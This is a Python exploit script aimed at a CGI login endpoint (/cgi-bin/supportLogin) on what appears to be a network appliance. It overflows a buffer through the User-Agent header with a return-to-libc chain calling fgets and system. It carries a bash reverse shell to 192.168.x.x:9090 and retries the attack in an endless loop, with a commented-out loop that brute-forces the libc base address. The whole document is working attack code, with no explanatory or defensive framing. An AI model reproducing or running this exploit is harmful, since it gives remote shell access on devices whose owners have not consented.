#!/usr/bin/env python
import requests
import urllib
import struct
import time

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def p32(a):
    return struct.pack("<I", a)
'''
\xc0\x1f\x55\x40  system
0x40514000
gets: 0x40577590
\x90\x75\x57\x40
bss: 0x0804EB5C
\x5c\xeb\x04\x08

\x90\x75\x57\x40\xc0\x1f\x55\x40\x5c\xeb\x04\x08eeee\x5c\xeb\x04\x08
sleep: 0x405b5840
'''
def pwn(libc):
    system = libc + (0x40551fc0 - 0x40514000)#0x3dfc0
    #print hex(system)
    fgets = libc + (0x40577590 - 0x40514000)
    sleep = libc + (0x405b5840 - 0x40514000 )
    #print hex(fgets)
    user_agent = '/bin/bash -i >& /dev/tcp/192.168.x.x/9090 0>&1;#plop Mac OS X Safari Version/12345678901234567890123456789012345678901234AAAABBBBCCCCDDDD' + p32(fgets) + p32(system) + '\x5c\xeb\x04\x08\x5c\xeb\x04\x08\x5c\xeb\x04\x08' + ' lol'
    #print user_agent
    data = "/bin/bash -i >& /dev/tcp/192.168.x.x/9090 0>&1;"
    #print data
    session = requests.Session()

    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Cache-Control":"max-age=0","Upgrade-Insecure-Requests":"1","Connection":"close","User-Agent":user_agent,"Sec-Fetch-Site":"none","Sec-Fetch-Dest":"document","Sec-Fetch-User":"?1","Accept-Encoding":"gzip, deflate","Accept-Language":"zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7","Sec-Fetch-Mode":"navigate"}
    #cookies = {"SessURL":"https%3A%2F%2F192.168.x.x%2Fcgi-bin%2Fwelcome"}
    response = session.post("https://192.168.x.x/cgi-bin/supportLogin", headers=headers, data = data, verify=False)

    #print("Status code:   %i" % response.status_code)
    #print("Response body: %s" % response.content)

def main():
    libc = 0xb7203000
    while True:
        try:
            print '[+] libc = ' + hex(libc)
            pwn(libc)
            libc += 0x1000
            #time.sleep(1)
        except:
            continue

#main()
print "[+] exploiting..."
while True:
    try:
        pwn(0xb7203000)
    except:
        continue
